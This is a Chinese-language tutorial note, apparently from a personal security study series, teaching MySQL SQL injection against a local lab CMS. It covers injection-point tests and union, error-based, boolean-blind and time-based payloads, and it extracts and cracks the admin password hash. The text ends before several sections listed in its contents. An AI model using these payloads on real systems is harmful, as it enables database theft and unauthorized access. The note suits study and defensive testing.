【CyberSecurityLearning 55】SQL注入
目錄
SQL
簡(jiǎn)介
SQL注入基礎(chǔ)
漏洞原理
漏洞危害
分類
MYSQL相關(guān)
@注釋
@mysql 元數(shù)據(jù)數(shù)據(jù)庫(kù)information_schema
@ mysql常用的函數(shù)與參數(shù)(★)
@邏輯運(yùn)算
注入流程
SQL 注入
SQL 注入點(diǎn)的判斷
SQL注入注入點(diǎn)判斷的舉例說(shuō)明
聯(lián)合查詢
* 必要條件
* 判斷字段個(gè)數(shù)
??判斷顯示位置
報(bào)錯(cuò)注入
* group by 重復(fù)鍵沖突
SQL--報(bào)錯(cuò)注入---group by觸發(fā)報(bào)錯(cuò)的原理
SQL語(yǔ)句解析過(guò)程(運(yùn)算順序)
* XPATH 報(bào)錯(cuò)
布爾盲注
獲取數(shù)據(jù)庫(kù)名
延時(shí)注入
sqlmap(自動(dòng)化注入神器)
測(cè)試
get注入
post注入
SQL 注入文件讀寫(xiě)
寬字節(jié)注入
Cookie 注入
base64 注入
HTTP 頭部注入
?
SQL
簡(jiǎn)介
SQL 結(jié)構(gòu)化查詢語(yǔ)言,是一種特殊的編程語(yǔ)言,用于數(shù)據(jù)庫(kù)中的標(biāo)準(zhǔn)數(shù)據(jù)查詢語(yǔ)言。美國(guó)國(guó)家標(biāo)準(zhǔn)學(xué)會(huì)對(duì)SQL進(jìn)行規(guī)范后,以此作為關(guān)系式數(shù)據(jù)庫(kù)管理系統(tǒng)的標(biāo)準(zhǔn)語(yǔ)言。
常見(jiàn)的關(guān)系型數(shù)據(jù)庫(kù)系統(tǒng):MYSQL ACCESS???? MSSQL orcale
有明顯的層次結(jié)構(gòu): 庫(kù)名? |? 表名? |? 字段名? |? 字段內(nèi)容
不過(guò)個(gè)中通信的數(shù)據(jù)庫(kù)系統(tǒng)在其實(shí)踐過(guò)程中獨(dú)對(duì)SQL規(guī)范做了某些編改和擴(kuò)充。所以實(shí)際上不同的數(shù)據(jù)庫(kù)系統(tǒng)之間的SQL不能完全通用。
SQL注入是一種常見(jiàn)的Web 安全漏洞,攻擊者利用這個(gè)漏洞,可以訪問(wèn)或修改數(shù)據(jù),或者利用潛在的數(shù)據(jù)庫(kù)漏洞進(jìn)行攻擊
SQL注入基礎(chǔ)
漏洞原理
針對(duì)SQL注入的攻擊行為可描述為通過(guò)用戶可控參數(shù)中注入SQL語(yǔ)法,破壞原有SQL結(jié)構(gòu),達(dá)到編寫(xiě)程序意料之外結(jié)果的攻擊行為。
其成因可歸結(jié)為以下兩個(gè)原理疊加造成:
1、程序編寫(xiě)者在處理程序和數(shù)據(jù)庫(kù)交互時(shí),使用字符串拼接的方式構(gòu)造SQL語(yǔ)句。
2、未對(duì)用戶可控參數(shù)進(jìn)行足夠的過(guò)濾便將參數(shù)內(nèi)容拼接進(jìn)入到SQL語(yǔ)句中。
*注入點(diǎn)可能的位置
根據(jù)SQL 注入漏洞的原理,在用戶“可控參數(shù)”中注入SQL 語(yǔ)法,也就是說(shuō)Web 應(yīng)用在獲取用戶數(shù)據(jù)的地方,只要代入數(shù)據(jù)庫(kù)查詢,都有存在SQL 注入的可能,這些地方通常包括:
@?? GET 數(shù)據(jù)
@?? POST 數(shù)據(jù)
@?? HTTP 頭部(HTTP 請(qǐng)求報(bào)文其他字段)
@?? Cookie 數(shù)據(jù)
??? …
?GET+POST+COOKIE也叫GPC
漏洞危害
攻擊者利用SQL注入漏洞們可以獲取數(shù)據(jù)庫(kù)中的多中信息(如:管理員后臺(tái)密碼),從而脫取數(shù)據(jù)庫(kù)中內(nèi)容(脫庫(kù))。
在特別情況下還可以修改數(shù)據(jù)庫(kù)內(nèi)容或者插入內(nèi)容到數(shù)據(jù)庫(kù),如果數(shù)據(jù)庫(kù)權(quán)限分配存在問(wèn)題,或者數(shù)據(jù)庫(kù)本身存在缺陷,那么攻擊者就可以通過(guò)SQL注入漏洞直接獲取webshell 或者服務(wù)器系統(tǒng)權(quán)限。
mof提權(quán) | udf提權(quán)
分類
SQL注入漏洞根據(jù)不同的標(biāo)準(zhǔn),有不同的分類。但是從數(shù)據(jù)類型分類來(lái)看,SQL注入分為數(shù)字型和字符型。
·數(shù)字型注入就是說(shuō)注入點(diǎn)的數(shù)據(jù),拼接到SQL語(yǔ)句中是以數(shù)字型出現(xiàn)的,即數(shù)據(jù)兩邊沒(méi)有被單引號(hào)、雙引號(hào)包括。
·字符型注入正好相反
根據(jù)注入手法分類,大致分為以下幾個(gè)類別
??? @?? UNION query SQL injection(可聯(lián)合查詢注入)?? ??? ??? 聯(lián)合查詢
??? @?? Error-based SQL injection(報(bào)錯(cuò)型注入)?? ??? ??? ????????? 報(bào)錯(cuò)注入
??? @?? Boolean-based blind SQL injection(布爾型注入)?? ??? 布爾盲注
??? @?? Time-based blind SQL injection(基于時(shí)間延遲注入)? 延時(shí)注入
??? @?? Stacked queries SQL injection(可多語(yǔ)句查詢注入)?? 堆疊查詢
MYSQL相關(guān)
本科主要使用*map 環(huán)境,既然要探討SQL 注入漏洞,需要對(duì)數(shù)據(jù)庫(kù)有所了解,此處以mysql 為例,這里只起到拋磚引玉的作用,其他環(huán)境的注入,讀者可以根據(jù)本次的思路去學(xué)習(xí),唯一不同的只是數(shù)據(jù)庫(kù)的特性
@注釋
mysql 數(shù)據(jù)庫(kù)的注釋的大概有以下幾種
#
-- (杠杠空格)
/* … */
/*! … */ 內(nèi)聯(lián)查詢
@mysql 元數(shù)據(jù)數(shù)據(jù)庫(kù)information_schema
庫(kù)名表名字段名都叫做MySQL的元數(shù)據(jù),這些元數(shù)據(jù)代表了MySQL數(shù)據(jù)庫(kù)的結(jié)構(gòu)
庫(kù)名表名字段名MySQL會(huì)把它存到一個(gè)數(shù)據(jù)庫(kù)里面,叫information_schema
information_schema數(shù)據(jù)庫(kù)中的幾個(gè)關(guān)鍵的表
@ mysql常用的函數(shù)與參數(shù)(★)
show databases; #查看數(shù)據(jù)庫(kù)
use information_schema; #轉(zhuǎn)到數(shù)據(jù)庫(kù)information_schema
show tables; #查看當(dāng)前數(shù)據(jù)庫(kù)中的數(shù)據(jù)表
| =??? >??? >=??? <=??? <>不等于 | 比較運(yùn)算符 | select 1<>2; |
| and? |? or | 邏輯運(yùn)算符 | select 1 and 0; |
| version() | mysql 數(shù)據(jù)庫(kù)版本 | select version(); |
| database() | 當(dāng)前數(shù)據(jù)庫(kù)名 | select database(); |
| user() | 用戶名 | select user(); |
| current_user() | 當(dāng)前用戶名 | select current_user(); |
| system_user() | 系統(tǒng)用戶名 | select system_user(); |
| @@datadir | 數(shù)據(jù)庫(kù)路徑 | select @@datadir; |
| @@version_compile_os | 操作系統(tǒng)版本 | select @@version_compile_os; |
| length() | 返回字符串長(zhǎng)度 | select length('ffdfs'); select length(version()); |
| substring() | ? 功能:截取字符串 參數(shù)1、截取的字符串 參數(shù)2、截取的起始位置,從1開(kāi)始(不是偏移量) 參數(shù)3、截取長(zhǎng)度 | select substring("dhffjf",2,2); |
| substr() | select substr("version()",2); select substr(version(),2,10); | |
| mid() | select mid(' select ',2,6); | |
| left() | 從左側(cè)開(kāi)始去指定字符個(gè)數(shù)的字符串(從左開(kāi)始取多少個(gè)字符) | select left('adc',2); select left(version(),2); |
| concat() | 沒(méi)有分隔符的連接字符串 | select concat('a','b','c');?? #abc |
| concat_ws() | 含有分隔符的連接字符串 | select concat_ws('/','a','b','c');? # a/b/c?? |
| group_concat() | 連接一個(gè)組的字符串 | select group_concat(id) from users;?? #默認(rèn)以逗號(hào)分隔 |
| ord() | 返回ASCII碼 ? | select ord('a');? # 97 |
| ascii() | select ascii('a'); | |
| hex() | 將字符串轉(zhuǎn)換為十六進(jìn)制 | select hex('a'); |
| unhex() | hex 的反向操作 | select unhex(61); |
| md5() | 返回MD5 值 | select md5('123456'); |
| floor(x) | 返回不大于x 的最大整數(shù) | ? |
| round() | 返回參數(shù)x 接近的整數(shù) | ? |
| rand() | 返回0-1 之間的隨機(jī)浮點(diǎn)數(shù) | select rand(); |
| load_file() | 讀取文件,并返回文件內(nèi)容作為一個(gè)字符串(括號(hào)里面跟一個(gè)文件的絕對(duì)路徑) | ? |
| sleep() | 睡眠時(shí)間為指定的秒數(shù) | select sleep(5); |
| if(true,t,f) | if判斷(如果第一個(gè)參數(shù)是true返回第二個(gè),否則返回第三個(gè)) | select if(true,1,0);? #1 select if(false,1,0);? #0 |
| find_in_set() | 返回字符串在字符串列表中的位置 | ? |
| benchmark() | 指定語(yǔ)句執(zhí)行的次數(shù) | ? |
| name_const() | 返回表作為結(jié)果 | ? |
| chr() | chr()函數(shù)的作用是將ascii碼轉(zhuǎn)換行字符 | ? |
@邏輯運(yùn)算
在SQL 語(yǔ)句中邏輯運(yùn)算與(and)比或(or)的優(yōu)先級(jí)要高。(not>and>or)
[ select 1=2 and 1=2 or 1=1--+ ]? # true
注入流程
由于關(guān)系型數(shù)據(jù)庫(kù)系統(tǒng),具有明顯的庫(kù)/表/列/內(nèi)容結(jié)構(gòu)層次,所以我們通過(guò)SQL 注入漏洞獲取數(shù)據(jù)庫(kù)中信息時(shí)候,也依據(jù)這樣的順序。
首先獲取數(shù)據(jù)庫(kù)名,其次獲取表名,然后獲取列名,最后獲取數(shù)據(jù)。
SQL 注入
使用工具:御劍掃描網(wǎng)站后臺(tái)
火狐瀏覽器插件:Wappalyzer
御劍有自己的字典
如果一個(gè)網(wǎng)站存在SQL注入漏洞,我們就可以去訪問(wèn)數(shù)據(jù)庫(kù),后臺(tái)管理員的用戶名密碼也在數(shù)據(jù)庫(kù),登錄網(wǎng)站后臺(tái)
SQL 注入點(diǎn)的判斷
@?? ?id=34??? +/- 1?? 變化id值,看有沒(méi)有變化
select * from tbName where id = $id
?
@?? ?id=35'??? 通過(guò)加單引號(hào),判斷是字符型還是數(shù)字型
報(bào)錯(cuò):near ''' at line 1
select * from tbName where id = 35'(說(shuō)明這個(gè)單引號(hào)有問(wèn)題,是多余的)
@?? 測(cè)試頁(yè)面是否有布爾類型的狀態(tài)
?id=35 and 1=1
?id=35 and 1=2
select * from tbName where id=35 and 1=1
select * from tbName where id=35 and 1=2
當(dāng)我們添加and1=1的時(shí)候或者and1=2的時(shí)候這兩次頁(yè)面的狀態(tài)十分相同,如果不同我們就認(rèn)為它有布爾類型的狀態(tài),如果相同就認(rèn)為布爾類型狀態(tài)不存在!
(頁(yè)面是否正常跟數(shù)據(jù)庫(kù)是否報(bào)錯(cuò)是兩個(gè)問(wèn)題)
@?? ?id=35 and sleep(5)????? 測(cè)試是否有延時(shí)
沉睡五秒怎么看?打開(kāi)F12--網(wǎng)絡(luò)---看時(shí)間線
再沉睡4s看看,不一樣。說(shuō)明sleep會(huì)對(duì)頁(yè)面服務(wù)器的響應(yīng)照成影響
口訣:(前提是有SQL注入)
如果我們頁(yè)面中id加一或減一頁(yè)面發(fā)生變化考慮聯(lián)合查詢
如果頁(yè)面沒(méi)有變化,看有沒(méi)有報(bào)錯(cuò),如果有報(bào)錯(cuò)考慮報(bào)錯(cuò)注入
如果沒(méi)有報(bào)錯(cuò)也沒(méi)有回顯,考慮有沒(méi)有布爾類型的狀態(tài),如果有布爾類型狀態(tài)我們考慮布爾盲注
如果以上都沒(méi)有,我們用絕招(絕境中用的招),用延時(shí)注入
SQL注入注入點(diǎn)判斷的舉例說(shuō)明
* 說(shuō)明
??? 為了演示SQL 注入的四大基本手法,我們以CMS 為例。【已經(jīng)在win7中布置好了環(huán)境】
??? [http://172.16.132.138/cms/]
* 目標(biāo)
??? 通過(guò)SQL 注入漏洞獲得后臺(tái)管理員帳密并成功登錄系統(tǒng)。
??? 后臺(tái)地址[http://172.16.132.138/cms/admin/]
?? ?
* 四大基本手法
??? 四大基本手法包括:
??? @??? 聯(lián)合查詢
??? @??? 報(bào)錯(cuò)注入
??? @??? 布爾盲注
??? @??? 延時(shí)注入
* 注入點(diǎn)?
??? [http://172.16.132.138/cms/show.php?id=33]
* 注入點(diǎn)的判斷
??? 對(duì)連接[http://172.16.132.138/cms/show.php?id=33]是否是注入點(diǎn)進(jìn)行判斷。
??? @??? 變換id 參數(shù)
??? 當(dāng)我們變換id 參數(shù)(33+1|33-1)的時(shí)候,發(fā)現(xiàn)同一個(gè)頁(yè)面,show.php 頁(yè)面展現(xiàn)出不同的新聞內(nèi)容。也就是說(shuō),數(shù)據(jù)庫(kù)中的內(nèi)容會(huì)回顯到網(wǎng)頁(yè)中來(lái)。
??? 初步判定,id 參數(shù)會(huì)帶入數(shù)據(jù)庫(kù)查詢,根據(jù)不同的id 查詢數(shù)據(jù)庫(kù),得到不同的新聞內(nèi)容。
??? 猜測(cè)后臺(tái)執(zhí)行的SQL 語(yǔ)句大致結(jié)構(gòu)為:
??? select * from tbName where id=33;
?? ?
??? @??? 單引號(hào)
??? [?id=33']
??? 執(zhí)行的SQL 主語(yǔ)則變?yōu)?br /> ??? select * from tbName where id=33’;
??? 頁(yè)面報(bào)錯(cuò),并且報(bào)錯(cuò)信息會(huì)回顯在網(wǎng)頁(yè)中,報(bào)錯(cuò)信息如下
----
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
----
??? 錯(cuò)誤信息提示單引號(hào)位置出現(xiàn)錯(cuò)誤,那么說(shuō)明,SQL 語(yǔ)句從頭到參數(shù)33 都是正確的。也就是說(shuō),我們添加的單引號(hào)是多余的。
??? 因此,可以斷定參數(shù)33 前面沒(méi)有引號(hào)。
??? 則,此注入點(diǎn)(可能)為數(shù)字型注入。
??? @??? [and 1=1 ]
??? [?id=33 and 1=1 --+]
??? 可能得SQL 語(yǔ)句為
??? select * from tbName where id=33 and 1=1 --+
??? 頁(yè)面正常。
??? @??? [and 1=2]
??? [?id=33 and 1=2 --+]
??? 可能得SQL 語(yǔ)句
??? select * from tbName where id=33 and 1=2 --+
??? 頁(yè)面沒(méi)有新聞內(nèi)容,并且數(shù)據(jù)庫(kù)沒(méi)有報(bào)錯(cuò)。由于1=2 是恒假式,也就是查詢條件[where id=33 and 1=2 --+]恒假,這樣的SQL 語(yǔ)句在數(shù)據(jù)庫(kù)中執(zhí)行后,沒(méi)有返回結(jié)果,沒(méi)有新聞內(nèi)容。
??? 反過(guò)來(lái)看,頁(yè)面沒(méi)有新聞內(nèi)容,也就是SQL 語(yǔ)句查詢條件為假。也就是說(shuō),我們寫(xiě)的語(yǔ)句[and 1=2 --+],起到了將查詢條件置為假的作用。
??? 那么,可以通過(guò)構(gòu)造語(yǔ)句來(lái)控制SQL 語(yǔ)句的查詢結(jié)果并且,SQL 語(yǔ)句查詢條件真假性,在頁(yè)面回顯中有體現(xiàn)。
??? @??? [and sleep(5)]
??? [?id=33 and sleep(5)]
??? 注入sleep(5) 語(yǔ)句,可以通過(guò)網(wǎng)絡(luò)時(shí)間線看到延時(shí)。
??? 說(shuō)明sleep(5) 語(yǔ)句起到了作用
??? 綜上,此連接存在SQL 注入漏洞。(除了變化id有回顯這種方法,剩下幾個(gè)出現(xiàn)其中任意一個(gè)我們就認(rèn)為它存在SQL注入漏洞)
聯(lián)合查詢
??? 由于數(shù)據(jù)庫(kù)中的內(nèi)容會(huì)回顯到頁(yè)面中來(lái),所以我們可以采用聯(lián)合查詢進(jìn)行注入。
??? 聯(lián)合查詢就是SQL 語(yǔ)法中的union select? 語(yǔ)句。該語(yǔ)句會(huì)同時(shí)執(zhí)行兩條select 語(yǔ)句,生成兩張?zhí)摂M表,然后把查詢到的結(jié)果進(jìn)行拼接。
?? ?select ~~~~ union select ~~~~
??? 由于虛擬表是二維結(jié)構(gòu),聯(lián)合查詢會(huì)"縱向"拼接,兩張?zhí)摂M的表。
?? ?
?? ?實(shí)現(xiàn) 跨庫(kù)跨表查詢
* 必要條件
??? @??? 兩張?zhí)摂M的表具有相同的列數(shù)
??? @??? 虛擬表對(duì)應(yīng)的列的數(shù)據(jù)類型相同
數(shù)字很特殊,它可以自動(dòng)轉(zhuǎn)化成字符串
原來(lái)它是數(shù)字,但是我們查詢的時(shí)候是字符,我要強(qiáng)制拼到一塊怎么辦?
我們可以把字符編碼,這樣我們就可以用數(shù)字表示字母
* 判斷字段個(gè)數(shù)
??? 可以使用[order by] 語(yǔ)句來(lái)判斷當(dāng)前select 語(yǔ)句所查詢的虛擬表的列數(shù)。
??? [order by]語(yǔ)句本意是按照某一列進(jìn)行排序,在mysql 中可以使用數(shù)字來(lái)代替具體的列名,比如[order by 1]就是按照第一列進(jìn)行排序,如果mysql 沒(méi)有找到對(duì)應(yīng)的列,就會(huì)報(bào)錯(cuò)[Unknown column]。我們可以依次增加數(shù)字,直到數(shù)據(jù)庫(kù)報(bào)錯(cuò)。
??? [order by 1 --+]??? # 按照第一個(gè)字段排序
??? [order by 2 --+]
??? ...
??? [order by 15 --+]
??? [order by 16]
??? 得到當(dāng)前虛擬表中字段個(gè)數(shù)為15
??
判斷顯示位置
??? 得到字段個(gè)數(shù)之后,可以嘗試構(gòu)造聯(lián)合查詢語(yǔ)句。
??? 這里我們并不知道表名,根據(jù)mysql 數(shù)據(jù)庫(kù)特性,select 語(yǔ)句在執(zhí)行的過(guò)程中,并不需要指定表名。
??? [?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+]
?? ?[?id=33 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--+]??
如果不能用order by判斷列數(shù),我們可以用一個(gè)null、兩個(gè)null...試出來(lái)
select 1,2,3(發(fā)現(xiàn)字段名和內(nèi)容都是1,2,3)
??? 頁(yè)面顯示的是第一張?zhí)摂M表的內(nèi)容,那么我們可以考慮讓第一張?zhí)摂M表的查詢條件為假,則顯示第二條記錄。因此構(gòu)造SQL 語(yǔ)句:
??? [?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
或者
?? ?[?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
??? 在執(zhí)行SQL 語(yǔ)句的時(shí)候,可以考慮用火狐瀏覽器的插件hackbar。
??? 發(fā)現(xiàn)3 和11 會(huì)回顯到頁(yè)面中來(lái)。
* 數(shù)據(jù)庫(kù)版本
??? 我們可以將數(shù)字3 用函數(shù)[version()]代替,即可得到數(shù)據(jù)庫(kù)的版本。將11換成database()可以得到數(shù)據(jù)庫(kù)名
??? [?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15 --+]
??? 數(shù)據(jù)庫(kù)版本為5.5.53。
* 當(dāng)前數(shù)據(jù)庫(kù)名
??? [database()]
??? [?id=33 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+]
* 數(shù)據(jù)庫(kù)中的表
??? [?id=33 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+? ]?
??? 我們?cè)陧?yè)面中盡量避免使用字符串,用函數(shù)來(lái)代替。
報(bào)錯(cuò):
考慮是不是編碼有問(wèn)題(union查詢的兩個(gè)條件)
??? 數(shù)據(jù)庫(kù)報(bào)錯(cuò),考慮用[hex()] 函數(shù)將結(jié)果由字符串轉(zhuǎn)化成數(shù)字。(可以用ASCII也可以用十六進(jìn)制)
??? [?id=33 and 1=2 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+]
??? 得到十六進(jìn)制編碼后的字符串
----
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
----
??? 再進(jìn)行十六進(jìn)制解碼(用burpsuite)【Decoder----decode as ASCII hex】
----
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
----
??? 管理員帳密有可能保存在cms_users 表中。
* 查詢表中字段
?id=33 and 1=2 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'--+
cms_users作為字符串出現(xiàn)我們要加單引號(hào),但是我們要避免單引號(hào)的使用,把cms_users轉(zhuǎn)換為十六進(jìn)制(選擇后用hackbar---Encoding---Hex Encode--前面加0x表示十六進(jìn)制)
----
7573657269642C757365726E616D652C70617373776F7264
----
去解碼:
----
userid,username,password
----
* 字段內(nèi)容
??? 查詢表中記錄數(shù)
??? [?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]
??? cms_users 表中只有一條記錄。
?? ?
??? 查詢字段內(nèi)容
??? [?id=33 and 1=2 union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]
----
61646D696E3A6531306164633339343962613539616262653536653035376632306638383365
----
----
admin:e10adc3949ba59abbe56e057f20f883e
----
??? 得到的是后臺(tái)管理員帳密,但是密碼是以密文的方式保存在數(shù)據(jù)庫(kù)中的。通過(guò)觀察密文可知,此密文為MD5 密文。可以在線查詢,網(wǎng)址為
??? [https://www.cmd5.com/],可以忽略加密類型。
----
admin:123456
----
??? 通過(guò)網(wǎng)站后臺(tái)登錄系統(tǒng)
報(bào)錯(cuò)注入
??? 在注入點(diǎn)的判斷過(guò)程中,發(fā)現(xiàn)數(shù)據(jù)庫(kù)中SQL 語(yǔ)句的報(bào)錯(cuò)信息,會(huì)顯示在頁(yè)面中,因此可以進(jìn)行報(bào)錯(cuò)注入。
??? 報(bào)錯(cuò)注入的原理,就是在錯(cuò)誤信息中執(zhí)行SQL 語(yǔ)句。觸發(fā)報(bào)錯(cuò)的方式很多,具體細(xì)節(jié)也不盡相同。此處建議直接背公式即可。
select concat(left(rand(),3),'^',(select version()),'^') as x,count(*) from information_schema.tables group by x;
語(yǔ)句中的as是給concat(left(rand(),3),'^',(select version()),'^')起別名x,方便后面的聚合操作。此處as可以省略,直接寫(xiě)x即可:
select concat(left(rand(),3),'^',(select version()),'^') x,count(*) from information_schema.tables group by x;
如果關(guān)鍵的表被禁用了,可以采用如下語(yǔ)句://自己構(gòu)造一個(gè)表
select? concat('^',version(),'^',floor(rand()*2))x,count(*) from (select 1 union select null union select !1) a group by x;
如果rand()函數(shù)或者count()函數(shù)被禁用了,可以用如下方式:
select min(@a:=1) from information_schema.tables group by concat('^',@@version,'^',@a:=(@a+1)%2);
不依賴額外的函數(shù)和具體的表
select min(@a:=1) from (select 1 union select null union select !1) a group by concat('^',@@version,'^',@a:=(@a+1)%2);
注意:此種方法有可能成功,也可能不成功
* group by 重復(fù)鍵沖突
??? [?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
??? [?id=33 and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
group by的報(bào)錯(cuò)實(shí)際上是MySQL一個(gè)天生的缺陷
我們現(xiàn)行的版本,只要是MySQL,只要是有報(bào)錯(cuò)信息,用這種方法注入是最穩(wěn)妥的方式,因?yàn)樗荕ySQL天生的
SQL--報(bào)錯(cuò)注入---group by觸發(fā)報(bào)錯(cuò)的原理
@創(chuàng)建數(shù)據(jù)庫(kù),并寫(xiě)入數(shù)據(jù);
mysql> create database groupbyTest;
Query OK, 1 row affected (0.00 sec)
mysql> use groupbyTest;
Database changed
mysql> show tables;
Empty set (0.01 sec)
mysql> create table r1 (a int);
Query OK, 0 rows affected (0.02 sec)
mysql> insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
Query OK, 14 rows affected (0.01 sec)
Records: 14? Duplicates: 0? Warnings: 0
@簡(jiǎn)單的查詢
mysql> select * from r1;
+------+
| a??? |
+------+
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
+------+
14 rows in set (0.00 sec)
mysql> select count(*) from r1;?? //查詢r(jià)1表有多少條記錄
+----------+
| count(*) |
+----------+
|?????? 14?? |
+----------+
1 row in set (0.00 sec)
mysql> select count(*) from r1 group by a;
+----------+
| count(*) |
+----------+
|??????? 7 |
|??????? 7 |
+----------+
2 rows in set (0.00 sec)
mysql> select count(*) from r1 group by "1";
+----------+
| count(*) |
+----------+
|?????? 14 ? |
+----------+
1 row in set (0.00 sec)
rand()是0-1中的隨機(jī)數(shù),一般都是小數(shù)
mysql> select left(rand(),3),a from r1 group by 1;? // group by 1表示按照第一個(gè)字段進(jìn)行分類聚合
+----------------+------+
| left(rand(),3) | a??? |
+----------------+------+
| 0.0?????????? ? ? |??? 2 |
| 0.1?????????????? |??? 1 |
| 0.2?????????????? | ?? 1 |
| 0.3?????????????? |??? 2 |
| 0.5?????????????? |??? 1 |
| 0.6?????????????? |??? 2 |
| 0.7?????????????? |??? 1 |
| 0.8?????????????? |??? 1 |
+----------------+------+
8 rows in set (0.00 sec)
由于rand函數(shù)每次執(zhí)行的結(jié)果都是不一樣的
select left(rand(),3),a,count(*) from r1 group by 1
此處引入count()函數(shù),產(chǎn)生group by重復(fù)鍵沖突報(bào)錯(cuò)
//每次執(zhí)行都報(bào)錯(cuò),而且報(bào)的還不一樣
mysql> select left(rand(),3),a,count(*) from r1 group by 1;
ERROR 1062 (23000): Duplicate entry '0.2' for key 'group_key'
mysql> select left(rand(),3),a,count(*) from r1 group by 1;
ERROR 1062 (23000): Duplicate entry '0.0' for key 'group_key'
mysql> select left(rand(),3),a,count(*) from r1 group by 1;
ERROR 1062 (23000): Duplicate entry '0.6' for key 'group_key'
mysql>
分析:先執(zhí)行from 再執(zhí)行g(shù)roup by(group by1 的時(shí)候rand()函數(shù)也會(huì)執(zhí)行),然后要執(zhí)行select語(yǔ)句,left(rand(),3)這個(gè)子句會(huì)運(yùn)行
這時(shí)候就會(huì)產(chǎn)生一個(gè)矛盾。group by是隨機(jī)的,很大概率,我們group by在執(zhí)行運(yùn)算rand()的時(shí)候跟我們select在執(zhí)行運(yùn)算rand的時(shí)候,兩次rand的值不一樣(大概率),所以會(huì)參生重復(fù)鍵沖突問(wèn)題
@其他語(yǔ)句
select? round(rand(),1),a,count(*) from r1 group by 1;?? //round(x)? 返回參數(shù)x最接近的整數(shù)
mysql> select? round(rand(),1),a,count(*) from r1 group by 1;? //也會(huì)有重復(fù)鍵的錯(cuò)誤,group by 1就是按照round(rand(),1)字段分類
ERROR 1062 (23000): Duplicate entry '0.5' for key 'group_key'
mysql> select a,count(*) from r1 group by round(rand(),1);
ERROR 1062 (23000): Duplicate entry '0.5' for key 'group_key'
mysql> select floor(rand()*2),a,count(*) from r1 group by 1;? //floor(x)返回不大于x的最大整數(shù)(向下取整)//是有成功率的
+-------------------+-----+-----------+
| floor(rand()*2) |? a?? | count(*) |
+-----------------+------+----------+
|?????????????? 0 ? ? |??? 1 ? |??????? 7 ? |
|?????????????? 1???? |??? 1 ? |??????? 7?? |
+-----------------+------+----------+
2 rows in set (0.00 sec)
mysql> select floor(rand()*2),a,count(*) from r1 group by 1;?? //第二次執(zhí)行就報(bào)重復(fù)鍵錯(cuò)誤
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
SQL語(yǔ)句解析過(guò)程(運(yùn)算順序)
# FROM
from 后面的表標(biāo)識(shí)了這條語(yǔ)句要查詢的數(shù)據(jù)源。
from過(guò)程之后會(huì)形成一個(gè)虛擬表VT1。
# WHERE
where對(duì)VT1過(guò)程中生成的臨時(shí)表進(jìn)行過(guò)濾,滿足where子句的列被插到VT2中。
# GROUP BY
group by會(huì)把VT2生成的表按照group by中的列進(jìn)行分組,生成VT3。
# HAVING
having? 這個(gè)子句對(duì)VT3表中的不同分組進(jìn)行過(guò)濾,滿足having條件的子句被加到VT4表中。
# SELECT
select這個(gè)子句對(duì)select子句中的元素進(jìn)行處理,生成VT5表。
—? 計(jì)算表達(dá)式,計(jì)算select子句的表達(dá)式,生成VT5-1
—? DISTINCT尋找VT5-1表中重復(fù)的列,并刪掉,生成VT5-2
—? TOP從order by子句定義的結(jié)果中,篩選出符合條件的列,生成VT5-3
# GROUP BY從VT5-3中的表,根據(jù)order by子句的結(jié)果進(jìn)行排序,生成VT6
* XPATH 報(bào)錯(cuò)
??? @??? extractalue()
??? [?id=33 and extractvalue(1,concat('^',(select version()),'^')) --+]
??? @??? updatexml()
??? [?id=33 and updatexml(1,concat('^',(select database()),'^'),1) --+]
低版本是不支持XPATH報(bào)錯(cuò)的(MySQL5.0以下的版本,那就用group by)
?
?
布爾盲注
* 原理
利用頁(yè)面返回的布爾類型狀態(tài),正常或者不正常
獲取數(shù)據(jù)庫(kù)名
@ 數(shù)據(jù)庫(kù)名長(zhǎng)度
[… and length(database())=1--+]
?
…
[… and length(database())=3--+](夾逼準(zhǔn)則/二分法)
@ 數(shù)據(jù)庫(kù)名
[… and ascii(substr(database(),1,1))=99--+]
由此可知數(shù)據(jù)庫(kù)名的第一個(gè)字母的ASCII 碼是99,即字母C
?
延時(shí)注入
利用sleep() 語(yǔ)句的延時(shí)性,以時(shí)間線作為判斷條件
獲取數(shù)據(jù)庫(kù)名
@ 獲取數(shù)據(jù)庫(kù)名長(zhǎng)度
[.. and if((length(database())=3),sleep(5),1)--+]
@ 數(shù)據(jù)庫(kù)名第二位
[.. and if((ascii(substr(database(),2,1,)=109),sleep(5),1)]
口訣(前提是SQL漏洞存在)
判斷是否有回顯?????????? 聯(lián)合查詢
是否有報(bào)錯(cuò)????????????????? 報(bào)錯(cuò)注入
是否有布爾類型狀態(tài)??? 布爾盲注(既沒(méi)有回顯也沒(méi)有報(bào)錯(cuò))
絕招????????????????????????????? 延時(shí)注入
